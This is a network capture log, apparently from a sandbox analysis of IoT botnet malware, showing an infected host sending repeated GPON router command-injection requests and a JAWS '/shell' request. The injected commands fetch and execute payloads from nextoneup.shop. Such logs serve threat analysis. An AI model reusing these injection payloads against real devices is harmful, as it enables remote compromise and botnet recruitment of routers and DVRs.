Apr 14, 2024 04:01:51.372528076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2334	192.168.2.13	47902	94.30.150.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372548103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2335	192.168.2.13	41948	202.237.99.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372589111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2336	192.168.2.13	59794	148.167.21.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372616053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2337	192.168.2.13	58928	178.108.219.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372628927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2338	192.168.2.13	33356	37.233.152.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372643948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2339	192.168.2.13	41302	148.99.10.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372677088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2340	192.168.2.13	38434	117.237.240.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372690916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2341	192.168.2.13	45930	37.106.191.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372731924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2342	192.168.2.13	57246	148.28.122.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372742891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2343	192.168.2.13	45520	94.105.163.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372769117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2344	192.168.2.13	33358	212.117.83.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372785091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2345	192.168.2.13	53126	109.125.144.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372824907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2346	192.168.2.13	53896	178.60.199.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372836113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2347	192.168.2.13	53314	202.208.207.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372843027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2348	192.168.2.13	35486	210.233.118.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372845888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2349	192.168.2.13	39848	210.135.44.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372875929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2350	192.168.2.13	39686	2.104.29.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372896910 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2351	192.168.2.13	42110	5.109.137.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372915983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2352	192.168.2.13	44450	5.198.94.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372939110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2353	192.168.2.13	54810	79.236.111.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372966051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2354	192.168.2.13	58970	42.11.209.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372987986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2355	192.168.2.13	49024	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.638705015 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:39Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2356	192.168.2.13	49032	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.951055050 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:39Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2357	192.168.2.13	32890	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.033052921 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:54Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2358	192.168.2.13	53672	117.180.238.129	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.194221973 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:52.669187069 CEST	340	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:52 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive server: KS-COMPASS Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 